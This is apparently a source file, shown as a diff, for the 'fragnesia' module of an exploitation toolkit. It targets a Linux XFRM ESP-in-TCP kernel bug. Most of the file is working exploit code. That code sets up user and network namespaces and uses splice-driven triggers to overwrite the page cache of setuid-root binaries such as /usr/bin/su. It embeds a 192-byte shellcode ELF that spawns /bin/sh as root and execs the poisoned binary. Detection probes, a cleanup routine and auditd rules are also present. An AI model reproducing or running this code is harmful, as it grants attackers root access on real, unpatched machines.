(((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1)) +#endif +#ifndef NLA_HDRLEN +#define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr))) +#endif + +#define FRAG_LEN 4096 +#define ESP_GCM_ICV_LEN 16 +#define ESP_GCM_ENCRYPTED_LEN (FRAG_LEN - ESP_GCM_ICV_LEN) +#define TCP_PORT 5556 +#define PAYLOAD_LEN 192 + +#define RECEIVER_PRE_ULP_US 30000 +#define SENDER_PRE_SPLICE_US 1000 +#define RECEIVER_POST_ULP_US 30000 + +/* fg_verbose gates step/status chatter; errors always print. */ +static int fg_verbose = 1; +#define LOG(fmt, ...) do { if (fg_verbose) \ + fprintf(stderr, "[*] fragnesia: " fmt "\n", ##__VA_ARGS__); } while (0) +#define ERR(fmt, ...) fprintf(stderr, "[-] fragnesia: " fmt "\n", ##__VA_ARGS__) + +static const char *const fg_targets[] = { + "/usr/bin/su", "/bin/su", "/usr/bin/mount", + "/usr/bin/passwd", "/usr/bin/chsh", NULL +}; + +/* --- exploit state (faithful to the V12 PoC) --- */ + +static const unsigned char xfrm_aead_key[20] = { + 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, + 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff, + 0x01, 0x02, 0x03, 0x04 +}; + +static unsigned char active_esp_gcm_iv[8] = { + 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc +}; +static uint32_t active_esp_seq = 1; +static const char *target_file; +static char target_file_buf[PATH_MAX]; +static loff_t target_splice_off; + +static uint16_t stream0_nonce[256]; +static bool stream0_have[256]; + +static void die(const char *what) +{ + fprintf(stderr, "[-] fragnesia: %s: %s\n", what, strerror(errno)); + _exit(2); +} + +static void gate_fail(const char *what) +{ + fprintf(stderr, "[-] fragnesia: namespace/XFRM gate closed: %s " + "errno=%d (%s)\n", what, errno, strerror(errno)); + _exit(4); +} + +static void store_be32(unsigned char *p, uint32_t v) +{ + p[0] = (unsigned char)(v >> 24); + p[1] = (unsigned char)(v >> 16); + p[2] = (unsigned char)(v >> 8); + p[3] = (unsigned char)v; +} + +/* --- AES-GCM keystream-byte table via AF_ALG ecb(aes) --- */ + +static int open_afalg_aes_ecb(void) +{ + struct sockaddr_alg sa = { .salg_family = AF_ALG }; + int fd = socket(AF_ALG, SOCK_SEQPACKET | SOCK_CLOEXEC, 0); + if (fd < 0) + die("socket(AF_ALG)"); + strcpy((char *)sa.salg_type, "skcipher"); + strcpy((char *)sa.salg_name, "ecb(aes)"); + if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) + die("bind AF_ALG ecb(aes)"); + if (setsockopt(fd, SOL_ALG, ALG_SET_KEY, xfrm_aead_key, 16) < 0) + die("setsockopt AF_ALG key"); + return fd; +} + +static void afalg_aes_encrypt_block(int alg_fd, const unsigned char in[16], + unsigned char out[16]) +{ + char cbuf[CMSG_SPACE(sizeof(uint32_t))] = {0}; + struct iovec iov = { .iov_base = (void *)in, .iov_len = 16 }; + struct msghdr msg = { + .msg_iov = &iov, .msg_iovlen = 1, + .msg_control = cbuf, .msg_controllen = sizeof(cbuf), + }; + struct cmsghdr *cmsg; + uint32_t op = ALG_OP_ENCRYPT; + int op_fd = accept4(alg_fd, NULL, NULL, SOCK_CLOEXEC); + if (op_fd < 0) + die("accept AF_ALG"); + cmsg = CMSG_FIRSTHDR(&msg); + cmsg->cmsg_level = SOL_ALG; + cmsg->cmsg_type = ALG_SET_OP; + cmsg->cmsg_len = CMSG_LEN(sizeof(op)); + memcpy(CMSG_DATA(cmsg), &op, sizeof(op)); + if (sendmsg(op_fd, &msg, 0) != 16) + die("sendmsg AF_ALG block"); + if (read(op_fd, out, 16) != 16) + die("read AF_ALG block"); + close(op_fd); +} + +static unsigned char aes_gcm_stream0_byte(int alg_fd, const unsigned char iv[8]) +{ + unsigned char counter_block[16], stream[16]; + memcpy(counter_block, &xfrm_aead_key[16], 4); + memcpy(counter_block + 4, iv, 8); + store_be32(counter_block + 12, 2); + afalg_aes_encrypt_block(alg_fd, counter_block, stream); + return stream[0]; +} + +static void build_stream0_table(void) +{ + unsigned char iv[8] = { 0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc }; + unsigned int count = 0, nonce; + int alg_fd = open_afalg_aes_ecb(); + for (nonce = 0; nonce <= 0xffff && count < 256; nonce++) { + unsigned char b; + store_be32(iv + 4, nonce); + b = aes_gcm_stream0_byte(alg_fd, iv); + if (stream0_have[b]) + continue; + stream0_have[b] = true; + stream0_nonce[b] = (uint16_t)nonce; + count++; + } + close(alg_fd); + if (count != 256) { + ERR("failed to build complete stream-byte table: %u/256", count); + _exit(2); + } + LOG("stream0 table built (256 entries)"); +} + +static void choose_iv_for_stream0(unsigned char need_stream) +{ + uint16_t nonce = stream0_nonce[need_stream]; + memset(active_esp_gcm_iv, 0xcc, sizeof(active_esp_gcm_iv)); + store_be32(active_esp_gcm_iv + 4, nonce); +} + +static unsigned char read_byte_at(const char *path, uint64_t off) +{ + unsigned char b; + int fd = open(path, O_RDONLY | O_CLOEXEC); + if (fd < 0) + die("open read byte"); + ssize_t ret = pread(fd, &b, 1, (off_t)off); + if (ret < 0) + die("pread byte"); + if (ret != 1) { + ERR("short pread at offset=%llu", (unsigned long long)off); + _exit(2); + } + close(fd); + return b; +} + +static uint64_t use_existing_target(const char *path) +{ + struct stat lst, st; + if (lstat(path, &lst) < 0) + die("lstat target"); + if (!S_ISREG(lst.st_mode)) { + ERR("target is not a regular file"); + _exit(2); + } + if (stat(path, &st) < 0) + die("stat target"); + if (st.st_size < FRAG_LEN) { + ERR("target too small: size=%lld need>=%d", + (long long)st.st_size, FRAG_LEN); + _exit(2); + } + if (snprintf(target_file_buf, sizeof(target_file_buf), "%s", path) >= + (int)sizeof(target_file_buf)) { + ERR("target path too long"); + _exit(2); + } + target_file = target_file_buf; + return (uint64_t)st.st_size; +} + +static void verify_write_denied(const char *label) +{ + errno = 0; + int fd = open(target_file, O_WRONLY | O_CLOEXEC); + if (fd >= 0) { + close(fd); + ERR("permission boundary check failed: %s write-open succeeded " + "(target is writable โ€” no exploit needed)", label); + _exit(4); + } + LOG("permission boundary ok (%s: write denied, errno=%d)", label, errno); +} + +/* --- userns / netns plumbing --- */ + +static int write_all_file_status(const char *path, const char *buf) +{ + size_t len = strlen(buf); + int fd = open(path, O_WRONLY | O_CLOEXEC); + if (fd < 0) + return -1; + if (write(fd, buf, len) != (ssize_t)len) { + int e = errno; + close(fd); + errno = e; + return -1; + } + close(fd); + return 0; +} + +static void sync_write_byte(int fd) +{ + char c = 'M'; + if (write(fd, &c, 1) != 1) + die("sync write"); + close(fd); +} + +static void sync_read_byte(int fd) +{ + char c; + if (read(fd, &c, 1) != 1) + die("sync read"); + close(fd); +} + +static void parent_map_write_or_exit(pid_t child, const char *name, + const char *data) +{ + char path[128]; + snprintf(path, sizeof(path), "/proc/%ld/%s", (long)child, name); + if (write_all_file_status(path, data) < 0) { + ERR("namespace gate closed: %s errno=%d (%s)", + path, errno, strerror(errno)); + kill(child, SIGKILL); + waitpid(child, NULL, 0); + _exit(4); + } +} + +static void enter_mapped_userns(void) +{ + uid_t outer_uid = getuid(); + gid_t outer_gid = getgid(); + int ready_pipe[2], mapped_pipe[2], status; + char map[128]; + pid_t child; + + if (pipe(ready_pipe) < 0) + die("pipe ready"); + if (pipe(mapped_pipe) < 0) + die("pipe mapped"); + + child = fork(); + if (child < 0) + die("fork userns mapper"); + + if (child > 0) { + close(ready_pipe[1]); + close(mapped_pipe[0]); + sync_read_byte(ready_pipe[0]); + snprintf(map, sizeof(map), "0 %u 1\n", outer_uid); + parent_map_write_or_exit(child, "uid_map", map); + parent_map_write_or_exit(child, "setgroups", "deny\n"); + snprintf(map, sizeof(map), "0 %u 1\n", outer_gid); + parent_map_write_or_exit(child, "gid_map", map); + sync_write_byte(mapped_pipe[1]); + if (waitpid(child, &status, 0) < 0) + die("wait userns child"); + if (WIFEXITED(status)) + _exit(WEXITSTATUS(status)); + if (WIFSIGNALED(status)) { + ERR("userns child killed by signal %d", WTERMSIG(status)); + _exit(2); + } + _exit(2); + } + + close(ready_pipe[0]); + close(mapped_pipe[1]); + if (unshare(CLONE_NEWUSER) < 0) + gate_fail("unshare(CLONE_NEWUSER)"); + sync_write_byte(ready_pipe[1]); + sync_read_byte(mapped_pipe[0]); + if (setresgid(0, 0, 0) < 0) + gate_fail("setresgid 0 in userns"); + if (setresuid(0, 0, 0) < 0) + gate_fail("setresuid 0 in userns"); + LOG("userns: mapped to root (outer uid=%u gid=%u)", outer_uid, outer_gid); +} + +static void bring_loopback_up(void) +{ + struct ifreq ifr; + int fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0); + if (fd < 0) + gate_fail("socket(AF_INET)"); + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1); + if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) + gate_fail("SIOCGIFFLAGS lo"); + ifr.ifr_flags |= IFF_UP; + if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) + gate_fail("SIOCSIFFLAGS lo up"); + close(fd); +} + +static void add_nlattr(struct nlmsghdr *nlh, size_t maxlen, + unsigned short type, const void *data, size_t len) +{ + size_t off = NLMSG_ALIGN(nlh->nlmsg_len); + struct nlattr *nla; + if (off + NLA_HDRLEN + len > maxlen) { + ERR("netlink message too small"); + _exit(2); + } + nla = (struct nlattr *)((char *)nlh + off); + nla->nla_type = type; + nla->nla_len = NLA_HDRLEN + len; + memcpy((char *)nla + NLA_HDRLEN, data, len); + nlh->nlmsg_len = off + NLA_ALIGN(nla->nla_len); +} + +static int nl_ack_errno(char *buf, ssize_t len) +{ + struct nlmsghdr *nlh; + struct nlmsgerr *err; + for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len); + nlh = NLMSG_NEXT(nlh, len)) { + if (nlh->nlmsg_type != NLMSG_ERROR) + continue; + err = (struct nlmsgerr *)NLMSG_DATA(nlh); + if (err->error == 0) + return 0; + errno = -err->error; + return -1; + } + errno = EPROTO; + return -1; +} + +static void add_xfrm_espintcp_state(void) +{ + char reqbuf[4096], resp[4096]; + char aeadbuf[sizeof(struct xfrm_algo_aead) + sizeof(xfrm_aead_key)]; + struct sockaddr_nl sa = { .nl_family = AF_NETLINK }; + struct xfrm_usersa_info *xs; + struct xfrm_algo_aead *aead; + struct xfrm_encap_tmpl encap; + struct nlmsghdr *nlh; + ssize_t ret; + int fd; + + memset(reqbuf, 0, sizeof(reqbuf)); + nlh = (struct nlmsghdr *)reqbuf; + nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*xs)); + nlh->nlmsg_type = XFRM_MSG_NEWSA; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL; + nlh->nlmsg_seq = 1; + + xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); + if (inet_pton(AF_INET6, "::1", &xs->saddr.in6) != 1) + die("inet_pton saddr"); + if (inet_pton(AF_INET6, "::1", &xs->id.daddr.in6) != 1) + die("inet_pton daddr"); + xs->id.spi = htonl(0x100); + xs->id.proto = IPPROTO_ESP; + xs->family = AF_INET6; + xs->mode = XFRM_MODE_TRANSPORT; + xs->reqid = 1; + xs->lft.soft_byte_limit = XFRM_INF; + xs->lft.hard_byte_limit = XFRM_INF; + xs->lft.soft_packet_limit = XFRM_INF; + xs->lft.hard_packet_limit = XFRM_INF; + + memset(aeadbuf, 0, sizeof(aeadbuf)); + aead = (struct xfrm_algo_aead *)aeadbuf; + snprintf(aead->alg_name, sizeof(aead->alg_name), "rfc4106(gcm(aes))"); + aead->alg_key_len = sizeof(xfrm_aead_key) * 8; + aead->alg_icv_len = 128; + memcpy(aead->alg_key, xfrm_aead_key, sizeof(xfrm_aead_key)); + add_nlattr(nlh, sizeof(reqbuf), XFRMA_ALG_AEAD, aeadbuf, sizeof(aeadbuf)); + + memset(&encap, 0, sizeof(encap)); + encap.encap_type = TCP_ENCAP_ESPINTCP; + encap.encap_sport = htons(TCP_PORT); + encap.encap_dport = htons(TCP_PORT); + add_nlattr(nlh, sizeof(reqbuf), XFRMA_ENCAP, &encap, sizeof(encap)); + + fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_XFRM); + if (fd < 0) + gate_fail("socket(NETLINK_XFRM)"); + if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) + gate_fail("bind(NETLINK_XFRM)"); + memset(&sa, 0, sizeof(sa)); + sa.nl_family = AF_NETLINK; + ret = sendto(fd, nlh, nlh->nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)); + if (ret < 0) + gate_fail("sendto XFRM_MSG_NEWSA"); + if (ret != (ssize_t)nlh->nlmsg_len) { + errno = EIO; + gate_fail("short sendto XFRM_MSG_NEWSA"); + } + ret = recv(fd, resp, sizeof(resp), 0); + if (ret < 0) + gate_fail("recv XFRM ack"); + if (nl_ack_errno(resp, ret) < 0) + gate_fail("XFRM_MSG_NEWSA ack"); + close(fd); +} + +static void setup_user_netns_xfrm(void) +{ + if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0) + die("prctl PR_SET_DUMPABLE"); + enter_mapped_userns(); + if (unshare(CLONE_NEWNET) < 0) + gate_fail("unshare(CLONE_NEWNET)"); + bring_loopback_up(); + add_xfrm_espintcp_state(); + LOG("namespace + XFRM ESP-in-TCP state ready"); +} + +/* --- splice-driven trigger pair --- */ + +static void write_ready(int fd) +{ + char c = 'R'; + if (write(fd, &c, 1) != 1) + die("ready write"); + close(fd); +} + +static void wait_ready(int fd) +{ + char c; + if (read(fd, &c, 1) != 1) + die("ready read"); + close(fd); +} + +static void receiver(int ready_write_fd) +{ + struct sockaddr_in6 addr = { + .sin6_family = AF_INET6, + .sin6_addr = IN6ADDR_LOOPBACK_INIT, + .sin6_port = htons(TCP_PORT), + }; + char ulp[] = "espintcp"; + int fd, cfd, one = 1; + + fd = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0); + if (fd < 0) + die("receiver socket"); + if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) + die("receiver reuseaddr"); + if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) + die("receiver bind"); + if (listen(fd, 1) < 0) + die("receiver listen"); + + write_ready(ready_write_fd); + + cfd = accept4(fd, NULL, NULL, SOCK_CLOEXEC); + if (cfd < 0) + die("receiver accept"); + + usleep(RECEIVER_PRE_ULP_US); + if (setsockopt(cfd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp)) < 0) + die("receiver TCP_ULP espintcp"); + usleep(RECEIVER_POST_ULP_US); + close(cfd); + close(fd); + _exit(0); +} + +static void sender(int ready_read_fd) +{ + struct sockaddr_in6 dst = { + .sin6_family = AF_INET6, + .sin6_addr = IN6ADDR_LOOPBACK_INIT, + .sin6_port = htons(TCP_PORT), + }; + struct { + __be16 len; + unsigned char esp[16]; + } prefix; + loff_t off; + int fd, sock, p[2], one = 1; + ssize_t ret, sent; + + wait_ready(ready_read_fd); + + memset(&prefix, 0xcc, sizeof(prefix)); + prefix.len = htons(sizeof(prefix) + FRAG_LEN); + prefix.esp[0] = 0x00; + prefix.esp[1] = 0x00; + prefix.esp[2] = 0x01; + prefix.esp[3] = 0x00; + store_be32(&prefix.esp[4], active_esp_seq); + memcpy(&prefix.esp[8], active_esp_gcm_iv, sizeof(active_esp_gcm_iv)); + + fd = open(target_file, O_RDONLY | O_CLOEXEC); + if (fd < 0) + die("sender open target"); + sock = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0); + if (sock < 0) + die("sender socket"); + if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)) < 0) + die("sender TCP_NODELAY"); + if (connect(sock, (struct sockaddr *)&dst, sizeof(dst)) < 0) + die("sender connect"); + + sent = send(sock, &prefix, sizeof(prefix), 0); + if (sent != (ssize_t)sizeof(prefix)) + die("sender send prefix"); + + usleep(SENDER_PRE_SPLICE_US); + + if (pipe(p) < 0) + die("sender pipe"); + off = target_splice_off; + ret = splice(fd, &off, p[1], NULL, FRAG_LEN, 0); + if (ret != FRAG_LEN) + die("sender splice file to pipe"); + ret = splice(p[0], NULL, sock, NULL, FRAG_LEN, 0); + if (ret < 0) + die("sender splice pipe to tcp"); + + close(p[0]); + close(p[1]); + close(sock); + close(fd); + _exit(ret == FRAG_LEN ? 0 : 3); +} + +static int run_trigger_pair(void) +{ + int pipefd[2], st_rx, st_tx; + pid_t rx, tx; + + if (pipe(pipefd) < 0) + die("pipe"); + + rx = fork(); + if (rx < 0) + die("fork receiver"); + if (rx == 0) { + close(pipefd[0]); + receiver(pipefd[1]); + } + + tx = fork(); + if (tx < 0) + die("fork sender"); + if (tx == 0) { + close(pipefd[1]); + sender(pipefd[0]); + } + + close(pipefd[0]); + close(pipefd[1]); + if (waitpid(tx, &st_tx, 0) < 0) + die("wait sender"); + if (waitpid(rx, &st_rx, 0) < 0) + die("wait receiver"); + + if (!WIFEXITED(st_tx) || WEXITSTATUS(st_tx) != 0 || + !WIFEXITED(st_rx) || WEXITSTATUS(st_rx) != 0) + return -1; + return 0; +} + +static uint64_t checked_byte_range_last(uint64_t byte_off, size_t byte_len) +{ + uint64_t n = (uint64_t)byte_len; + if (n == 0) { + ERR("byte range is empty"); + _exit(2); + } + if (n - 1 > UINT64_MAX - byte_off) { + ERR("byte range overflows uint64_t"); + _exit(2); + } + return byte_off + n - 1; +} + +/* + * Replace [byte_off, byte_off+desired_len) in the page cache of + * target_file with `desired`, one byte per ESP-in-TCP trigger. + * Returns: 1 full payload verified, 0 fixed (byte never mutated), + * 2 setup/range error, 3 bug present but payload not fully placed. + */ +static int replace_existing_bytes_after(uint64_t byte_off, + const unsigned char *desired, + size_t desired_len, uint64_t file_size) +{ + uint64_t last = checked_byte_range_last(byte_off, desired_len); + size_t idx, changed = 0, skipped = 0; + + if (last >= file_size || last > file_size - FRAG_LEN) { + ERR("byte range outside writable window: off=%llu len=%zu size=%llu", + (unsigned long long)byte_off, desired_len, + (unsigned long long)file_size); + return 2; + } + + build_stream0_table(); + LOG("smashing %zu bytes into the read-only page cache", desired_len); + + for (idx = 0; idx < desired_len; idx++) { + uint64_t off = byte_off + idx; + unsigned char current = read_byte_at(target_file, off); + unsigned char final, need_stream; + + if (current == desired[idx]) { + skipped++; + continue; + } + + target_splice_off = (loff_t)off; + need_stream = current ^ desired[idx]; + choose_iv_for_stream0(need_stream); + active_esp_seq++; + + if (run_trigger_pair() < 0) { + ERR("trigger pair failed at index=%zu", idx); + return 2; + } + + final = read_byte_at(target_file, off); + if (final == desired[idx]) { + changed++; + if (fg_verbose && (idx % 16 == 0 || idx + 1 == desired_len)) + fprintf(stderr, "[*] fragnesia: +%04llx " + "%02x -> %02x (%zu/%zu)\n", + (unsigned long long)off, current, final, + idx + 1, desired_len); + continue; + } + if (final == current) { + LOG("byte unchanged at +%llx โ€” kernel appears patched", + (unsigned long long)off); + return 0; + } + ERR("byte changed but mismatched desired at +%llx " + "(want %02x got %02x)", (unsigned long long)off, + desired[idx], final); + return 3; + } + + /* final verify pass */ + for (idx = 0; idx < desired_len; idx++) { + if (read_byte_at(target_file, byte_off + idx) != desired[idx]) { + ERR("final verify mismatch at index=%zu", idx); + return 3; + } + } + if (changed == 0) { + LOG("all requested bytes already matched โ€” nothing demonstrated"); + return 2; + } + LOG("payload verified in page cache (changed=%zu skipped=%zu)", + changed, skipped); + return 1; +} + +/* 192-byte ET_DYN ELF: setuid/setgid/seteuid(0) + execve("/bin/sh"). + * Reproduced verbatim from the V12 PoC. */ +static const uint8_t shell_elf[PAYLOAD_LEN] = { + 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, + 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, + 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, + 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, + 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, + 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, + 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +}; + +static const char *fg_pick_target(void) +{ + for (int i = 0; fg_targets[i]; i++) { + struct stat sb; + if (stat(fg_targets[i], &sb) == 0 && + (sb.st_mode & S_ISUID) && sb.st_uid == 0 && + sb.st_size >= FRAG_LEN && access(fg_targets[i], R_OK) == 0) + return fg_targets[i]; + } + return NULL; +} + +static void fg_evict(const char *path) +{ + int fd = open(path, O_RDONLY); + if (fd >= 0) { +#ifdef POSIX_FADV_DONTNEED + posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED); +#endif + close(fd); + } + int dc = open("/proc/sys/vm/drop_caches", O_WRONLY); + if (dc >= 0) { if (write(dc, "3\n", 2) < 0) {} close(dc); } +} + +/* --- precondition check: unprivileged user namespaces --- */ + +static bool fg_userns_allowed(void) +{ + pid_t pid = fork(); + if (pid < 0) + return false; + if (pid == 0) + _exit(unshare(CLONE_NEWUSER) == 0 ? 0 : 1); + int st; + waitpid(pid, &st, 0); + return WIFEXITED(st) && WEXITSTATUS(st) == 0; +} + +/* ---- detect ------------------------------------------------------- */ + +/* + * Active probe: run the full ESP-in-TCP primitive against a disposable + * /tmp file. Returns 1 vulnerable, 0 not, -1 probe error. Forks so the + * PoC's exit()/die() paths stay contained. + */ +static int fg_active_probe(void) +{ + char probe[] = "/tmp/skeletonkey-fragnesia-probe-XXXXXX"; + int fd = mkstemp(probe); + if (fd < 0) + return -1; + unsigned char filler[8192]; + memset(filler, 0x5a, sizeof(filler)); + if (write(fd, filler, sizeof(filler)) != (ssize_t)sizeof(filler)) { + close(fd); unlink(probe); return -1; + } + fsync(fd); + close(fd); + + int result = -1; + pid_t pid = fork(); + if (pid == 0) { + /* one-byte payload differing from the 0x5a filler */ + static const unsigned char want[1] = { 0xa5 }; + use_existing_target(probe); + setup_user_netns_xfrm(); + int rc = replace_existing_bytes_after(0, want, 1, 8192); + _exit(rc == 1 ? 0 : (rc == 0 ? 10 : 2)); + } + if (pid > 0) { + int st; + waitpid(pid, &st, 0); + if (WIFEXITED(st)) { + if (WEXITSTATUS(st) == 0) result = 1; + else if (WEXITSTATUS(st) == 10) result = 0; + else result = -1; + } + } + unlink(probe); + return result; +} + +static skeletonkey_result_t fg_detect(const struct skeletonkey_ctx *ctx) +{ + fg_verbose = !ctx->json; + + struct utsname u; + uname(&u); + + if (!fg_userns_allowed()) { + if (!ctx->json) + fprintf(stderr, "[i] fragnesia: unprivileged user " + "namespaces are disabled โ€” XFRM gate closed " + "here (CAP_NET_ADMIN unreachable)\n"); + return SKELETONKEY_PRECOND_FAIL; + } + + if (!fg_pick_target()) { + if (!ctx->json) + fprintf(stderr, "[i] fragnesia: no readable setuid-root " + "binary >= %d bytes โ€” exploit has no carrier\n", + FRAG_LEN); + return SKELETONKEY_PRECOND_FAIL; + } + + if (ctx->active_probe) { + if (!ctx->json) + fprintf(stderr, "[*] fragnesia: running active probe " + "(safe; /tmp file only)\n"); + int p = fg_active_probe(); + if (p == 1) { + if (!ctx->json) + fprintf(stderr, "[!] fragnesia: ACTIVE PROBE " + "CONFIRMED โ€” ESP-in-TCP coalesce corrupts " + "the page cache (kernel %s)\n", u.release); + return SKELETONKEY_VULNERABLE; + } + if (p == 0) { + if (!ctx->json) + fprintf(stderr, "[+] fragnesia: active probe did " + "not land โ€” primitive blocked (patched, " + "or CONFIG_INET_ESPINTCP off)\n"); + return SKELETONKEY_OK; + } + if (!ctx->json) + fprintf(stderr, "[?] fragnesia: active probe machinery " + "failed; falling back to precondition verdict\n"); + } + + /* No version-based verdict: the CVE-2026-46300 fix commit is not + * pinned in this module yet (see MODULE.md). Report TEST_ERROR so + * --auto does not fire blind; use --active to confirm. */ + if (!ctx->json) + fprintf(stderr, "[?] fragnesia: userns+XFRM preconditions present " + "on kernel %s; patch-level cannot be determined " + "passively.\n Confirm with: skeletonkey --scan --active\n", + u.release); + return SKELETONKEY_TEST_ERROR; +} + +/* ---- exploit ------------------------------------------------------ */ + +/* Runs in a forked child. On the shell path it execs the target and + * never returns. Exit codes: 0 ok, 2 fail, 3 partial, 4 precond, + * 10 not vulnerable (fixed). */ +static void fg_child(const char *target_path, int no_shell) +{ + uint64_t file_size = use_existing_target(target_path); + verify_write_denied("outer"); + setup_user_netns_xfrm(); + verify_write_denied("userns-root-mapped-to-outer-user"); + + int rc = replace_existing_bytes_after(0, shell_elf, PAYLOAD_LEN, file_size); + if (rc == 0) _exit(10); + if (rc == 2) _exit(2); + if (rc == 3) _exit(3); + + /* rc == 1: payload fully verified in the page cache */ + if (no_shell) { + LOG("--no-shell: payload placed, shell not spawned"); + LOG("revert with `skeletonkey --cleanup fragnesia`"); + _exit(0); + } + LOG("page cache poisoned; exec %s to claim root", target_path); + fflush(NULL); + execve(target_path, (char *[]){ (char *)target_path, NULL }, (char *[]){ NULL }); + perror("execve target"); + _exit(2); +} + +static skeletonkey_result_t fg_exploit(const struct skeletonkey_ctx *ctx) +{ + fg_verbose = !ctx->json; + + if (geteuid() == 0) { + fprintf(stderr, "[i] fragnesia: already root โ€” nothing to do\n"); + return SKELETONKEY_OK; + } + + const char *target = fg_pick_target(); + if (!target) { + ERR("no readable setuid-root carrier >= %d bytes", FRAG_LEN); + return SKELETONKEY_PRECOND_FAIL; + } + LOG("target carrier: %s", target); + + int sf = open("/tmp/skeletonkey-fragnesia.target", + O_WRONLY | O_CREAT | O_TRUNC, 0600); + if (sf >= 0) { if (write(sf, target, strlen(target)) < 0) {} close(sf); } + + pid_t pid = fork(); + if (pid < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; } + if (pid == 0) + fg_child(target, ctx->no_shell); /* never returns on shell path */ + + int st; + waitpid(pid, &st, 0); + if (!WIFEXITED(st)) + return SKELETONKEY_EXPLOIT_FAIL; + switch (WEXITSTATUS(st)) { + case 0: return SKELETONKEY_EXPLOIT_OK; + case 4: return SKELETONKEY_PRECOND_FAIL; + case 10: return SKELETONKEY_OK; /* kernel patched */ + default: return SKELETONKEY_EXPLOIT_FAIL; + } +} + +/* ---- cleanup ------------------------------------------------------ */ + +static skeletonkey_result_t fg_cleanup(const struct skeletonkey_ctx *ctx) +{ + fg_verbose = !ctx->json; + + char target[256] = {0}; + int sf = open("/tmp/skeletonkey-fragnesia.target", O_RDONLY); + if (sf >= 0) { + ssize_t n = read(sf, target, sizeof(target) - 1); + if (n > 0) target[n] = '\0'; + close(sf); + } + if (target[0]) { + LOG("evicting %s from page cache", target); + fg_evict(target); + unlink("/tmp/skeletonkey-fragnesia.target"); + } else { + LOG("no recorded target; evicting all candidate carriers"); + for (int i = 0; fg_targets[i]; i++) + fg_evict(fg_targets[i]); + } + return SKELETONKEY_OK; +} + +#else /* !__linux__ */ + +static skeletonkey_result_t fg_detect(const struct skeletonkey_ctx *ctx) +{ + if (!ctx->json) + fprintf(stderr, "[i] fragnesia: Linux-only module " + "(XFRM ESP-in-TCP) โ€” not applicable on this platform\n"); + return SKELETONKEY_PRECOND_FAIL; +} +static skeletonkey_result_t fg_exploit(const struct skeletonkey_ctx *ctx) +{ + (void)ctx; + fprintf(stderr, "[-] fragnesia: Linux-only module โ€” cannot run here\n"); + return SKELETONKEY_PRECOND_FAIL; +} +static skeletonkey_result_t fg_cleanup(const struct skeletonkey_ctx *ctx) +{ + (void)ctx; + return SKELETONKEY_OK; +} + +#endif /* __linux__ */ + +/* ---- detection rules (embedded) ----------------------------------- */ + +static const char fg_auditd[] = + "# Fragnesia (CVE-2026-46300) โ€” auditd detection rules\n" + "# XFRM ESP-in-TCP coalesce bug โ†’ page-cache write into a read-only file.\n" + "-w /usr/bin/su -p wa -k skeletonkey-fragnesia\n" + "-w /bin/su -p wa -k skeletonkey-fragnesia\n" + "-w /etc/passwd -p wa -k skeletonkey-fragnesia\n" + "-w /etc/shadow -p wa -k skeletonkey-fragnesia\n" + "# AF_ALG socket creation (family 38) โ€” builds the GCM keystream table\n" + "-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-fragnesia-afalg\n" + "# XFRM state setup over NETLINK_XFRM\n" + "-a always,exit -F arch=b64 -S sendto -k skeletonkey-fragnesia-xfrm\n" + "# TCP_ULP espintcp + ESP setsockopt 